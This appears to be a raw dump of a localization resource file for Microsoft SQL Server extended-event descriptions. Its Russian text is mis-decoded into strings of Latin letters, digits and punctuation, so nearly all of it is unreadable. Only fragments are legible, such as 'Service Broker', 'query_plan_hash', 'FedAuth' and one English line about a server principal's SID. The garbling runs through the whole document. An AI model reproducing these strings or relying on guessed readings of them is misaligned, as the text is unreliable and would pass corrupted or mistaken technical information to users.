@57C;LB0B0 2K?>;=5=8O 70?@>A0 A G5@54>20=85< (=0?@8<5@, tvf)PA,'8A;> AB@>:, 87<5=5==KE 2 MB>9 >?5@0F88 DML..@5<O, ?>B@0G5==>5 =0 ?@>25@:C ?>4?8A8 FedAuthK#:07K205B, 1K;0 ;8 ?@>25@:0 A>3;0A>20==>AB8 40==KE 2K?>;=5=0 ?@8=C48B5;L=>.2"01;8F0, :C40 1K;0 2K?>;=5=0 >B<5=0 <83@0F88 AB@>:*#:07K205B, CA?5H=> ;8 1K; 2K?>;=5= 70?@>A.<O ?@>?CI5==>3> H;N70.)@>8AE>48B ?@8 A>740=88 ?;0=0 2K?>;=5=8O 4;O 70?@>A0 8;8 ?0:5B0 157 8A?>;L7>20=8O ?@54>AB02;5==>9 AB@C:BC@K ?;0=0. A?>;L7C9B5 MB> A>1KB85 4;O >?@545;5=8O 70?@>A>2 8 ?0:5B>2 A =54>?CAB8<K<8 AB@C:BC@0<8 ?;0=0. ;O >1=0@C65=8O >H81>: 2 AB@C:BC@5 ?;0=0 8A?>;L7C9B5 DC=:F8N sys.fn_validate_plan_guide.PA0?CA:05BAO ?5@54 ?@>25@:>9, GB>1K C1548BLAO, GB> A@54AB2> ?@>25@:8 ?>4:;NG5=89 ?@>25@O5B 687=5A?>A>1=>ABL ?>4:;NG5=8O :;85=B0.A;8 7040=> 7=0G5=85 1, collect_logical_path 2:;NG05B A1>@ 40==KE logical_path. > C<>;G0=8N AB>;15F logical_path =5 A>7405BAO.>4 GUID ;>:0;L=>3> M:75<?;O@0S'8A;> >?5@0F89 GB5=8O C40;5==KE AB@0=8F, 8=8F88@>20==KE C40;5==K< 2K7>2>< ?@>F54C@.U<O 107K 40==KE, :>B>@0O 1K;0 8AB>G=8:>< 8;8 =07=0G5=85< =502B>=><=>3> 8A?>;L7>20=8O.@>8AE>48B ?@8 >A2>1>645=88 :C@A>@0. -B> A>1KB85 8A?>;L7C5BAO 4;O 4803=>AB8:8 ?@>1;5<, A2O70==KE A ?@>872>48B5;L=>ABLN :C@A>@0.070 40==KE C40;5=0�>;CG5=85 EMH0 ?;0=0 70?@>A0. A?>;L7C9B5 4;O 845=B8D8:0F88 ?;0=>2 2K?>;=5=8O AE>68E 70?@>A>2. >6=> 8A?>;L7>20BL EMH ?;0=0 70?@>A0 4;O =0E>645=8O A>2>:C?=>9 AB>8<>AB8 70?@>A>2 A> AE>68<8 ?;0=0<8 2K?>;=5=8O.4'8A;> ?;0=>2, A>740==KE 2 1KAB@>9 ?>A;54>20B5;L=>AB8)'8A;> ?;0=>2, A>740==KE 2 ?0@0;;5;L=KE TP�#=8:0;L=>5 A>AB>O=85 >H81:8 4;O A1>O (?@8 53> =0;8G88) - 8A?>;L7C5BAO 4;O @07@5H5=8O =5A:>;L:8E <5AB 2 :>45, :>B>@K5 <>3CB 2K720BL 0=0;>38G=CN >H81:C.'8A;> 2>72@0I5==KE AB@>:.745=B8D8:0B>@ >1J5:B0, A2O70==>3> A C40;O5<K< >1J5:B><.7@>8AE>48B ?@8 >1@01>B:5 =>2>3> @57C;LB8@CNI53> =01>@0.PAD8:A8@>20==K9 AG5BG8: 0PAU#:07K205B, :0: :><?>=5=B Service Broker >B?@028; 8;8 ?>;CG8; ?>4B25@645=85 A>>1I5=8O.PA'0B@0G5==>5 2@5<O & (2 <8;;8A5:C=40E).=#:07K205B B8? 2K?>;=O5<>9 >?5@0F88 DDL: ADD, CHANGE 8;8 DROP.1>7=8:05B, :>340 4>102;O5BAO B5<?>@0;L=K9 ?5@8>4.PA4>7=8:05B, :>340 ?CBL JSON =5 AAK;05BAO =0 A2>9AB2>.�45=B8D8:0B>@ 70?@>A0 (8;8 845=B8D8:0B>@ ;>38G5A:>3> A>548=5=8O). =0G5=85 0 C:07K205B =0 ?0:5B ?> C<>;G0=8N 2 AF5=0@88, >B;8G=>< >B @568<0 MARS.PA!45=B8D8:0B>@ A>740205<>9 DC=:F88PA(0:A8<0;L=0O 4;8=0 4>102;O5<>3> AB>;1F0.<O 87<5=5==>3> >1J5:B0.;0= O2;O5BAO ?>A;54>20B5;L=K<.T'8A;> ;>38G5A:8E >?5@0F89 GB5=8O AB@0=8F, 2K?>;=5==KE ?>;L7>20B5;5< 2 B5G5=85 A50=A0PA5G8A;> AB@>:, 4;O :>B>@KE 8A?>;L7>20;>AL ?@54?>;>65=85PA4!>@B8@>20BL 2> 2@5<5==>9 1075 40=KE (2:;. 8;8 >B:;.)c@>8AE>48B, :>340 >F5=:0 :@0B=>AB8 4;O >1J548=5=8O ?@>8AE>48B 157 CG5B0 >4=>9 G0AB8 2E>4=KE 40==KE.PA/>;CG5=85 8<5=8 B5:CI53> :;85=BA:>3> ?@8;>65=8O�">G:0 A1>O XEvents 4;O ?@8=C48B5;L=>3> A>740=8O >H81:8 ?>8A:0 2 :MH5 8 ?>A;54CNI53> ?5@5E>40 =0 ?CBL ?@>25@:8 ?>4;8==>AB8 XODBC.PA0?@02;5=85 <83@0F88.48A?5BG5@ A50=A>2: >?@545;O5B B8? @01>G53> M;5<5=B0.PAa?@545;O5B, 2A5 ;8 ?@5420@8B5;L=K5 CA;>28O 2K?>;=5=K 4;O <0@H@CB870F88 =0 107C 40==KE-?>;CG0B5;L.M5@5405B 40==K5 > A1>5 DC=:F88 ?5@5=>A0 AE5<K 2> 2@5<O 7040G8 ?5@5=>A0 AE5<K.;@5<O, 70B@0G5==>5 =0 ISC/ASC ?@8 4>102;5=88 ?>AB02I8:0 SSL< :MH @07@5H5=89 >1J5:B>2 :MH0 157>?0A=>AB8 2AB02;5= >1J5:B.PA*!1>@ AB0B8AB8:8, AD>@<8@>20==>9 4;O 22>40.I>:07K205B A>AB>O=85 E@0=8<>9 ?@>F54C@K 0:B820F88, 2K7202H59 MB> A>1KB85.L 57C;LB0B 703@C7:8 @01>G8E B01;8F >1J5:B0 ?5@540G8 :><?>=5=B0 Service BrokerPAp>=5G=>5 A<5I5=85 8=AB@C:F88 >B=>A8B5;L=> =0G0;0 <>4C;O. ;O ?>A;54=59 8=AB@C:F88 1C45B CAB0=>2;5=> 7=0G5=85 -1.1<O DC=:F88 JSON, 87 :>B>@>9 70?CA:05BAO A>1KB85.PA5A:@8?B>@ 480;>30.PA(>2>5 7=0G5=85 @568<0 =0AB@>9:8 A5@25@0.="5:CI55 7=0G5=85 ?0@0<5B@0 107K 40==KE HONOR_BROKER_PRIORITY.B40?B82=>5 A>548=5=85 =52>7<>6=> 8A?>;L7>20BL 2 =5:>B>@KE A;CG0OE.PA-45=B8D8:0B>@ 107K 40==KE 4;O >1J5:B0 ?>8A:0.PA#45=B8D8:0B>@ 2K?>;=5==>3> >1J5:B0.4><5@ >H81:8 4;O ;N1>9 >H81:8, A2O70==>9 A 70?@>A><.;8B5;L=>ABL 2 A5:C=40E.PA�5;>:0;87>20==>5, ?>=OB=>5 ?>;L7>20B5;N 8<O CAB0@52H59 DC=:F88, 2K7202H59 A>1KB85.  A;54CNI5< >A=>2=>< 2K?CA:5 SQL Server MB> CAB0@52H0O DC=:F8>=0;L=0O 2>7<>6=>ABL 1C45B C40;5=0.3025@H5=85 ?@5@K20=8O 2>7>1=>2;O5<>9 A1>@:8 8=45:A0/!>1@0BL 845=B8D8:0B>@ @0A?@545;5==>9 8=AB@C:F88PA6@5<O & (2 <8:@>A5:C=40E), 8A?>;L7C5<>5 2 MB>< B0:B5.0#:07K205B :;0AA >1J5:B0 4;O >3@0=8G5=8O DC=:F89.30?CI5=0 7040G0 0:B820F88 :><?>=5=B0 Service Broker=!;54CNI89 M:75<?;O@ :><?>=5=B0 Service Broker =0 ?CB8 : F5;8.,AB>G=8: A>>1I5=8O :><?>=5=B0 Service BrokerF>AB0=>2:0 ?0:5B0 2 >G5@54L 4;O =0G0;0 ?5@5=>A0 107K 40==KE 8 >1J5:B0.><5@ >H81:8, 2K7202H59 A1>9q<O >1J5:B0, 4>102;5==>3> 2 :MH. -B> ?>;5 =5 70?>;=O5BAO 2 A;CG05 =5@53;0<5=B8@>20==KE 8 ?>43>B>2;5==KE 70?@>A>2.8@>8AE>48B, :>340 70?@>A ?@5@K205BAO 2> 2@5<O :><?8;OF88PA�0?CA:05BAO ?@8 ?5@5=0?@02;5=88 70?@>A0 =0 2E>4 =0 AB@0=8G=K9 A5@25@, 0 =5 2 2KG8A;8B5;L=CN A@54C. @8<5=8<> B>;L:> : =5?@54CA<>B@5==K< 2=5H=8< ?>4:;NG5=8O<.><5@ >H81:8 (5A;8 ?@8<5=8<>);0AA 40<?07#=8:0;L=K9 , A>>B25BAB2CNI89 MB>9 >?5@0F88 2K?>;=5=8O070 40==KE 4;O B01;8FKPA=@5<O (2 <8:@>A5:C=40E), ?@>H54H55 ?>A;5 459AB28O ?@5@K20=8O.E0?8AL 2 :>;LF52>9 1CD5@ A:>?8@>20==>3> AB5:0 =5>A2>1>645==>3> ?>B>:0'8A;> B01;8F 2=5H=53> :;NG0/>7=8:05B ?@8 >?@545;5=88 A>AB>O=8O :><?>=5=B0.%<O A;C61K, 8=8F88@>202H59 A>>1I5=85.PAr!:>;L:> @07 D;03 B@0AA8@>2:8 A50=A0 8A?>;L7>20;AO 4;O ?@8=C48B5;L=>3> 7040=8O 25@A88 >F5=:8 :@0B=>AB8 120 8;8 2KH5<O H030 ?>43>B>2:8 B01;8FK6!1>@:0 <CA>@0 NCI 2 CCI 2> 2@5<O ?5@2>3> A>740=8O NCI.8>7=8:05B ?@8 87<5=5=88 >3@0=8G5=8O DC=:F89 (ADD, DROP).'8A;> :;NG59PA80G0;L=>5 A<5I5=85 C40;O5<>3> B5:AB0 70?@>A0 8=AB@C:F88.+>A;54=OO <0:A8<0;L=0O AB5?5=L ?0@0;;5;87<0PA�@>8AE>48B, :>340 ?>A;5 >?B8<870F89 A ?5@5=>A>< =03@C7:8 =0  4;O ?@548:0B>2 ?>;CG05BAO >AB0B>G=>5 2K@065=85 A ?>;L7>20B5;LA:>9 DC=:F859.c>7=8:05B, :>340 ?@8 2K?>;=5=88 ?>8A:0 2 >1J5:B=>< ?C;5 columnstore =5 C405BAO =09B8 =C6=K9 >1J5:B.0@>8AE>48B ?@8 ?>;CG5=88 ?;0=0 >B 4@C3>3> <>4C;OPAyA?>;L7C9B5 query_plan_hash 4;O A>740=8O ?@548:0B0, D8;LB@CNI53> A>1KB8O 8AE>4O 87 70?@>A>2 A> AE>68<8 ?;0=0<8 2K?>;=5=8OM#40;5=85 <>4C;5< >B;>65==>9 70?8A8 =0 48A: ?5@540G8 :><?>=5=B0 Service Broker�@>8AE>48B, :>340 8=45:A columnstore 2 B01;8F5 1K; ?5@5AB@>5=. -B> A>1KB85 2K405BAO B@8 @070 ?@8 ?5@5AB@>5=88 8=45:A0 ALTER 2 CCSI 8 >48= @07 4;O NCCSI. ;O CCSI A>1KB85 2K405BAO, :>340 >?5@0F8O 1;>:8@C5B @5AC@A ?5@5AB@>5=8O 8=45:A0, :>340 1;>:8@>2:0 =0:;04K205BAO =0 B01;8FC 8 :>340 1;>:8@>2:0 S =0 B01;8F5 >1=>2;O5BAO 4> 1;>:8@>2:8 SCH_M 4;O ?5@5:;NG5=8O 8=45:A>2 2 <5B040==KE. ;O NCCSI MB> A>1KB85 2K405BAO, :>340 =0 B01;8FC =0:;04K205BAO 1;>:8@>2:0 SCH_M.+B>@>9 0@3C<5=B DC=:F88 <0A:8@>20=8O 40==KE45=B8D8:0B>@ 28@BC0;L=>9 A5B8."#:07K205B B8? >3@0=8G5=8O DC=:F89.$0?8A0==K9 :>;LF52>9 1CD5@ AppDomain7A?>;L7C5BAO 4;O B5AB8@>20=8O :><0=4K DBCC INPUTBUFFER.PA>1I89 AG5BG8: 0H>7=8:05B A@07C ?5@54 8=8F80;870F859 3;>10;L=>3> >1J5:B0 IDataInitializePA)%5H 70?@>A0, ?@54AB02;ONI89 D>@<C 70?@>A0PA<MH8@>20BL A>548=5=85 2 ?C;5 A>548=5=89 8;8 7025@H8BL 2KE>4?D!>AB>O=85 >B@01>B:8 >B:070 4;O 87<5=5=8O 3@C??K 4>ABC?0 (HADRON DDL)?#:070=85 USE HINT 2:;NG5=> 4;O B5:CI53> :><?8;8@C5<>3> 70?@>A0.PAB?5@0B>@ LIKE <564C 42C<O AB@>:>2K<8 7=0G5=8O<8 2 D>@<0B5 SQL ANSI" 07<5@ 1;>:0, C:070==K9 2 70?@>A5. -B> ?>4:;NG5=85 2>A?@>872545=8O?@8G8=0 A@010BK20=8O XEventPAY!@010BK205B 4;O :064>3> ?@54;>65=8O, ?@>?CI5==>3> 2> 2@5<O ?@8=C48B5;L=>9 ?0@0<5B@870F88.PAX>7=8:05B ?@8 >B?@02:5 8;8 ?>;CG5=88 :><?>=5=B>< Service Broker ?>4B25@645=8O A>>1I5=8O.B#:07K205B B8? >3@0=8G5=8O DC=:F89, 2K?>;=5==>3> DDL: ADD 8;8 DROP."45=B8D8:0B>@ F5;52>9 107K 40==KE.R!>1KB85 Xevent A@010BK205B ?@8 0:B820F88 >1=>2;5=8O A8=E@>=878@>20==>9 AB0B8AB8:8.J1=0@C65=0 A:0;O@=0O ?>;L7>20B5;LA:0O DC=:F8O, =5 O2;ONI0OAO 2AB@08205<>9.%>7=8:05B ?>A;5 ?@>?CA:0 B01;8FK XTP.!(03 >1=>2;5=8O C40;5==>3> 8=45:A0�>7=8:05B ?@8 :><?8;OF88 4;O :064>3> 70?@>A0, 206=>3> 4;O >?@545;5=8O B>3>, 1C45B ;8 4;O MB>9 107K 40==KE ?>;57=0 ?@8=C48B5;L=0O ?0@0<5B@870F8O.�>ABC?=> B>;L:> 2 A;CG0OE, :>340 ?0@0<5B@ compiled_object_type 8<55B 7=0G5=85 Stored Procedure 8;8 Trigger. -B> 845=B8D8:0B>@ object_id C40;O5<>3> 87 :MH0 >1J5:B0, >B>1@0605<K9 2 B01;8F0E sys.procedures 8 sys.triggers/sys.servertriggers A>>B25BAB25==>.S>4 ?@54AB02;O5B ?@8G8=C, ?> :>B>@>9 A5@25@ =5 <>65B 2>AAB0=>28BL A50=A A>548=5=8O.+@>8AE>48B, 5A;8 8A?>;L7C5BAO DC=:F8O >:=0.W=D>@<0F8O B@0AA8@>2:8 4>ABC?0 : >?5@0F8O< ?>B>:>2>3> 22>40-2K2>40 4;O D09;0 FILESTREAMEAB0B8AB8:0 ?@>872>48B5;L=>AB8 ?@8 ?@>25@:5 ?>4;8==>AB8: DC=:F8O 2E>400>4:;NG5=85 2>AAB0=>2;5=8O A50=A0 2>AAB0=>2;5=>.9"01;8F0, 4;O :>B>@>9 >G8AB:0 B01;8FK 6C@=0;0 7025@H8;0AL.PA-#:07K205B MB0? >?5@0F88 ?>2B>@=>9 A1>@:8 CSI.K!:0;O@=0O >?@545;O5<0O ?>;L7>20B5;5< DC=:F8O TSQL 2AB@>5=0 2 45@52> 70?@>A0<!>AB>O=85 75@:0;L=>9 <0@H@CB870F88 :><?>=5=B0 Service Broker"8? ;>38G5A:>9 D09;>2>9 3@C??K7<5=5==0O 1070 40==KEJ#:07K205B, 1K;> ;8 >?@545;5=85 B5<?>@0;L=>3> 0C48B0 4>102;5=> 8;8 C40;5=>.1 >;L :><?>=5=B0 Service Broker 4;O MB>3> 480;>30.PA)#@>25=L A>2<5AB8<>AB8 107K 40==KE 87<5=5='!>740=85 <8=8-40<?0 4;O B5:CI53> ?>B>:0C45=B8D8:0B>@ 107K 40==KE, A>45@60I59 >1J5:B A 87<5=O5<K< AB>;1F><.PAP:;NG8;8 ;8 <K ?@028;0 ?0:5B=>9 >1@01>B:8 4;O MB>3> 70?@>A0 A ?><>ILN M2@8AB8:8?#>;CG5=85 4><5=0 NT B5:CI53> A50=A0645=B8D8:0B>@ E@0=8<>9 ?@>F54C@K, >1=0@C65==>9 2 :MH5.PA>;L7>20B5;L NT.=@>8AE>48B ?@8 >1@01>B:5 O7K:0 DDL T-SQL 4;O ?5@5=>A0 40==KE.("01;8F0, 4;O :>B>@>9 1K; >B<5=5= ?5@5=>APA,A5 70?8A8 2 :MH5 157>?0A=>AB8 1K;8 C40;5=K.<O ?C;0 @5AC@A>2i@5<O, ?@>H54H55 <564C >?5@0F859 ?>AB0=>2:8 2 >G5@54L 8 2K?>;=5=85< 7040G8 ?@8 4>102;5=88 ?>AB02I8:0 SSPI945=B8D8:0B>@ 107K 40==KE, A>45@60I59 2K?>;=5==K9 >1J5:B. 45=B8D8:0B>@ B01;8FK.E?5@0B>@ LIKE <564C 42C<O AB@>:>2K<8 7=0G5=8O<8 2 D>@<0B5 SQL UNICODE4@>8AE>48B, 5A;8 2 DDL CREATE TABLE 2:;NG5= ?5@5=>A.5>@O4:>2K9 =><5@ ?>4B25@6405<>3> A>>1I5=8O 2 480;>35.@5@K205<K9 >1J5:B A 8=45:A><.V@8G8=0, ?> :>B>@>9 ?@8=C48B5;L=0O ?0@0<5B@870F8O =5 1K;0 ?@8<5=5=0 :> 2A59 8=AB@C:F8870H;8 ;8 <K ?5@A?5:B82=K5 B01;8FK 2> 2E>4=>< 2K@065=88?!45=B8D8:0B>@ A>740==>3> >1J5:B0.L>=5F A>E@0=5=8O @01>G59 B01;8FK >1J5:B>2 ?5@540G8 :><?>=5=B0 Service Broker#>;CG5=85 845=B8D8:0B>@0 B@0=70:F88K>7=8:05B, :>340 ;>:0;L=0O A8AB5<0 ?5@5405B A>1KB85 B5;5<5B@88 =0 Azure DB.2"8? >1J5:B0, A>45@60I53> :><?8;8@C5<CN 8=AB@C:F8N.:#:07K205B, 1K;0 ;8 8=AB@C:F8O B>;L:> GB> ?5@5:><?8;8@>20=05@>F5=B 2K?>;=5=8O, >:@C3;5==K9 4> 1;8609H53> F5;>3>.PA=45=B8D8:0B>@ 107K 40==KE, :>B>@0O A>45@68B C40;O5<K9 >1J5:B.X>65B 8A?>;L7>20BLAO 4;O C?@02;5=8O @57C;LB0B0<8 ?@>25@:8 =0 ?@>?CA: A:0=8@>20=8O 2E>40.PA*#@>25=L A5@L57=>AB8 >H81:8, 2K7202H59 A1>9? 45=B8D8:0B>@ >1J5:B0, >B25BAB25==>3> 70 ?>2B>@=CN :><?8;OF8N.PA2<O CG0AB=8:0 =0 C@>2=5 A5@25@0, A>7402H53> A50=A.,!>>1I5=85 >1 8A:;NG5=88 (=5D>@<0B8@>20==>5).#><5@ >H81:8, A2O70==>9 A 70?@>A><.PA(45=B8D8:0B>@ 107K 40==KE 4;O A>548=5=8O0!1@>A B09<5@0 ?5@540G8 :><?>=5=B0 Service Broker@?5@0B>@ "<5=LH5" 4;O 42CE AB@>:>2KE 7=0G5=89 2 D>@<0B5 SQL ANSI:8A?5BG5@ A50=A>2: >?@545;O5B ?@8>@8B5B @01>G53> M;5<5=B0., 0AH8@5==K5 A>1KB8O 4;O Microsoft SQL Server"45=B8D8:0B>@ 48A?5BG5@0 @5AC@A>2.!@8G8=K ?5@5:><?8;OF88 8=AB@C:F88PA@>8AE>48B ?@8 :><?8;OF88.645=B8D8:0B>@ 480;>30, :>B>@><C ?@8=04;568B A>>1I5=85.�@5<O ACI5AB2>20=8O A>>1I5=8O (2 A5:C=40E). A;8 MB> 7=0G5=85 1>;LH5 7=0G5=8O 2 ?>;5 time_to_live 8;8 @02=> 5<C, A>>1I5=85 C40;O5BAO.A"8? <>4C;O, A>45@60I53> 8=AB@C:F8N, 2K?>;=5=85 :>B>@>9 7025@H5=>.\!:>;L:> @07 2>7=8:0; :>=D;8:B 2 C:070=8OE 8;8 D;030E B@0AA8@>2:8 4;O 25@A88 >F5=:8 :@0B=>AB8�>7=8:05B, :>340 ?CBL, C:070==K9 2 ?>;L7>20B5;LA:>< 70?@>A5, =5 ?@>428=CB 2 A5;5:B82=>< XML-8=45:A5, 8 2 @57C;LB0B5 8=45:A =5 8A?>;L7C5BAO.�@>8AE>48B ?@8 A>740=88 8 2K?>;=5=88 :C@A>@0. -B> A>1KB85 8A?>;L7C5BAO 4;O 4803=>AB8:8 ?@>1;5<, A2O70==KE A ?@>872>48B5;L=>ABLN :C@A>@0.PA/>7=8:05B, :>340 C40;O5BAO B5<?>@0;L=K9 ?5@8>4.PA"45=B8D8:0B>@ 87<5=5==>3> >1J5:B0.#45=B8D8:0B>@ 4>102;O5<>3> AB>;1F0.PAS@>8AE>48B, :>340 ?@8 >F5=:5 :@0B=>AB8 8A?>;L7>20;8AL =5O2=K5 ?@548:0BK A>548=5=8O.PA-'8A;> C:070==KE CAB@>9AB2 4;O 2>AAB0=>2;5=8O.>AA>740205<0O A5:F8OW59AB285 :>=5G=>3> 02B><0B0 8AE>4OI53> ?>4B25@645=8O ?5@540G8 :><?>=5=B0 Service Broker745=B8D8:0B>@ AB>;1F0, >?@545;5=85 :>B>@>3> 87<5=O5BAO.#>;CG5=85 8<5=8 M:75<?;O@0 A5@25@0.OGet the SID of the Server Prinicipal in whose context the event is being fired.*;8B5;L=>ABL >?@>A0 2E>40 2 <8:@>A5:C=40E.k!>>1I05B > ?@8@>45 8A?>;L7C5<>3> ?@54?>;>65=8O, 5A;8 4;O >F5=:8 G8A;0 M;5<5=B>2 8A?>;L7C5BAO ?@54?>;>65=85.PA<<O 4;O 2E>40, A2O70==>5 A ?>4@07C<5205<K< 8<5=5< 4;O 2E>40.<#:07K205B B8? >?5@0F88, 2K?>;=O5<>9 =04 B01;8F59 ?0@0<5B@>2."@5<5==0O <5B:0 ;>:0;L=>3> A>1KB8O#"5:CI0O <0:A8<0;L=0O 4;8=0 7=0G5=8OL#:07K205B :>;8G5AB2> ?>2B>@=KE ?>?KB>:, 2K?>;=O5<KE 2 A;CG05 >H81:8 7040=8O.PA"0G0;> :C@A>@0 48A?5BG5@0 :C@A>@>2+<O ?@8;>65=8O, C:070==>5 2 70?8A8 > 2E>45.^45=B8D8:0B>@ 107K 40==KE, 2;045NI59 70?@>A><, :>B>@K9 =5 A<>3;> >BA;548BL E@0=8;8I5 70?@>A>2.PA�;8B5;L=>ABL ACI5AB2>20=8O A>>1I5=8O (2 A5:C=40E). A;8 MB> 7=0G5=85 1>;LH5 7=0G5=8O time_to_live 8;8 @02=> 5<C, A>>1I5=85 C40;O5BAO.E#:07K205B AB048N 2K?>;=5=8O >?5@0F88 DDL: =0G0;>, D8:A0F8O 8;8 >B:0B.�@5<O :><?8;OF88 ?@>D8;59. -:2820;5=B=> :><18=0F88 A>1KB8O B@0AA8@>2:8 SQL Trace "Execution Warnings" 8 D;030 B@0AA8@>2:8 -T8783�-B> A>:@0I5==0O 25@A8O process_login_finish, A>45@60I0O B>;L:> AB>;1FK, =5>1E>48<K5 4;O :>=2595@0 B5;5<5B@88 2=5H=53> <>=8B>@8=30.�>:07K205B :>;8G5AB2> 70?8A59 AB0B8AB8:8, =0 :>B>@K5 ?>2;8O;0 >?5@0F8O. -B> ?>;5 70?>;=O5BAO B>;L:> ?@8 CA;>288, GB> ?>;5 A>AB>O=8O 8<55B 7=0G5=85 1.PA"8? 2K?>;=O5<>9 @01>BK.@5<O 2>7>1=>2;5=8O @01>BKPA-@5<O >6840=8O 8A?>;=5=8O :><?8;OF88 8AB5:;>.PA�-B> ?@>8AE>48B, :>340 2@5<O >6840=8O >?B8<870B>@0 8AB5:05B 87-70 B>3>, GB> ?>B@0G5=> A;8H:>< <=>3> 2@5<5=8 8;8 4>AB83=CB ?@545; ?0<OB8.>65B 1KBL 2K720=> @07;8G=K<8 ?@8G8=0<8, 2 B>< G8A;5 4>AB865=85< ?@545;0 ?0<OB8 4;O B5:CI59 @01>G59 =03@C7:8. A?>;L7C9B5 MB> A>1KB85 4;O ?@>A<>B@0 2A5E 70?@>A>2, =0 :>B>@K5 2;8O5B 2@5<O >6840=8O >?B8<870B>@0 ?@8 >?@545;5==>9 @01>G59 =03@C7:5.-B> <>65B 1KBL >G5=L ?>;57=> ?@8 =0AB@>9:5 >?@545;5==>9 @01>G59 =03@C7:8.h@5<O 2 <8:@>A5:C=40E, :>B>@>5 <>65B ?>B@51>20BLAO 4;O 7025@H5=8O 2K?>;=5=8O C40;5==>3> 2K7>20 ?@>F54C@.PAS'8A;> >?5@0F89 GB5=8O C40;5==KE AB@0=8F, 2K?>;=5==KE ?>;L7>20B5;5< 70 2@5<O A50=A0.,1J5:B, 4;O :>B>@>3> >1=>2;O5BAO AB0B8AB8:0.}>;CG5=85 845=B8D8:0B>@0 GUID ?;0=0 2K?>;=5=8O. A?>;L7C9B5 MB>B 845=B8D8:0B>@ 4;O >4=>7=0G=>9 845=B8D8:0F88 ?;0=0 2K?>;=5=8O!>4 B8?0 >1=0@C65==>3> >?5@0B>@0.PAc!:>;L:> @07 C:070=85 70?@>A0 8A?>;L7>20;>AL 4;O ?@8=C48B5;L=>3> 7040=8O CAB0@52H59 >F5=:8 :@0B=>AB8
">:5= A50=A0.O45=B8D8:0B>@ 107K 40==KE, A>45@60I59 >1J5:B, ?>8A: :>B>@>3> 2K?>;=O5BAO 2 :MH5"0:A8<0;L=>5 7=0G5=85 4;8B5;L=>AB8PA$!>>1I5=85 >1 >H81:5 ?@8 A1>5 ?0:5B0.\!>1KB85, A>740205<>5, :>340 ?0:5B 7040G <83@0F88-?5@5=>A0 C40;5= 87 >G5@548 4;O 107K 40==KE.2A?>;L7C5BAO ;8 2 ?0:5B=>9 >1@01>B:5 ?;0= 70?@>A0?"8? A>>1I5=8O.y#:07K205B =><5@ 7040G8, =0 :>B>@>9 >?B8<870F8O 1K;0 ?@5:@0I5=0 87-70 8AB5G5=8O 2@5<5=8 >6840=8O 8;8 8A?>;L7>20=8O ?0<OB8.W%MH H01;>=0 70?@>A0, :>B>@K9 ?@54AB02;O5B A>1>9 B5:AB 70?@>A0, ?@5>1@07>20==K9 2 H01;>=;"5:AB>2>5 A>>1I5=85 >1 >H81:5 8;8 8=D>@<0F8>==>5 A>>1I5=85.PA%>;CG5=85 8<5=8 B5:CI53> ?>;L7>20B5;OPA_#=8:0;L=K9 845=B8D8:0B>@ AAK;:8 28@BC0;L=>9 A5B8 4;O G0AB=>9 :>=5G=>9 B>G:8 (IP-04@5A @5AC@A0).PA�>7=8:05B ?@8 70?CA:5 70?@>A0 SAVE TRANSACTION, >B?@02;5==>3> 87 :;85=BA:>3> ?@8;>65=8O G5@57 8=B5@D59A C?@02;5=8O B@0=70:F8O<8.FAE>4=K9 TCP-04@5A :;85=B0 A <0A:>9 2 28@BC0;L=>9 A5B8 (04@5A :;85=B0)g!@010BK205B ?@8 >1=>2;5=88 4>102>G=>9 AB0B8AB8:8 8 >B@0605B 2>7<>6=>ABL >1=>2;5=8O 4;O G0AB>BK 2K1>@:8.98B>2K9 25:B>@, A>45@60I89 C:070==K5 ?0@0<5B@K 0@E820F88.&<O ?@54AB02;5=8O <><5=B0;L=>3> A=8<:0J#:07K205B, 1K;0 ;8 >H81:0 ?5@5E20G5=0 1;>:>< TRY/CATCH O7K:0 Transact-SQL.P#:07K205B, 1C45B ;8 ?>A;5 D8:A0F88 B5:CI59 B@0=70:F88 70?CI5=0 =>20O B@0=70:F8O.EMH A>>1I5=8O.9>;5 XML, A>45@60I55 4>?>;=8B5;L=K5 A2545=8O > :><?>=5=B5v!:>;L:> @07 3;>10;L=K9 D;03 B@0AA8@>2:8 8A?>;L7>20;AO 4;O ?@8=C48B5;L=>3> 7040=8O 25@A88 >F5=:8 :@0B=>AB8 120 8;8 2KH54#:07K205B, A>7405BAO 8;8 C40;O5BAO 3@C??0 A>>1I5=89.PA>@>8AE>48B, 5A;8 ?@548:0B =5 C:070= 2> 2@5<O ?5@5=>A0 B01;8FK.>4 >H81:8 4;O 8A:;NG5=8O.6>;CG5=85 845=B8D8:0B>@0 B5:CI53> :;85=BA:>3> ?@>F5AA0'45=B8D8:0B>@ ?>4A5B8 28@BC0;L=>9 A5B8.4!CI5AB2C5B ;8 2 @5H5=88 >?5@0B>@ ?0:5B=>9 >1@01>B:8?>;CG5=85 8<5=8 ?>;L7>20B5;O NTF'8A;> D878G5A:8E >?5@0F89 GB5=8O AB@0=8F, 8A?>;L7>20==KE 2 8=AB@C:F88.O>;CG05B 8<O CG0AB=8:0 =0 C@>2=5 A5@25@0, 2 :>=B5:AB5 :>B>@>3> 2>7=8:;> A>1KB85B!>1KB85 7025@H5=8O 2E>40 2 TDS, 70?8A0==>5 2 70:@KBCN B01;8FC MDS./"@0AA8@>2:0 >B;04:8 459AB289 <83@0F88-?5@5=>A0.X#:07K205B, 8A?>;L7>20;0AL ;8 D545@0B82=0O CG5B=0O 70?8AL A;C61K 4;O ?@>25@:8 ?>4;8==>AB8@@54K4CI55 7=0G5=85 CAB0=>2;5==KE 8 A1@>H5==KE D;03>2 ?><>I=8:0.P@8G8=0, ?> :>B>@>9 2 :>45 ?5@540G8 ?0@0<5B@0 Hekaton 2K1@0= <54;5==K9 ?CBL :>40)#:07K205B D>@<0B D09;0 8AB>G=8:0 8<?>@B0.PA%#=8:0;L=K9 845=B8D8:0B>@ SPID ?0:5B0.@@5<O, ?>B@0G5==>5 2 A;CG05 2K?>;=5=8O @0AH8@5=8O 2=5H=59 3@C??K(45=B8D8:0B>@ 8A?>;L7>20==>9 B@0=70:F88.A>AB>O=85 >H81:8PA#!B@0B538O, 8A?>;L7C5<0O 4;O >F5=:8..<O 107K 40==KE, A>45@60I59 A>740205<K9 >1J5:BO!B>;15F, 2 :>B>@>< 1K;> 4>102;5=> 8;8 C40;5=> >?@545;5=85 B5<?>@0;L=>3> 0C48B0.G>;8G5AB2> ?@K6:>2, >AB02H8EAO 4> 4>AB865=8O A>>1I5=85< F5;52>9 A;C61K.PA0G0;> 2K?>;=5=8O <>4C;O1I89 @07<5@ ?0:5B0 2 109B0E.PA`2>8G=K9 ?>B>: C40;5==>3> 2K7>20 ?@>F54C@, :>B>@K9 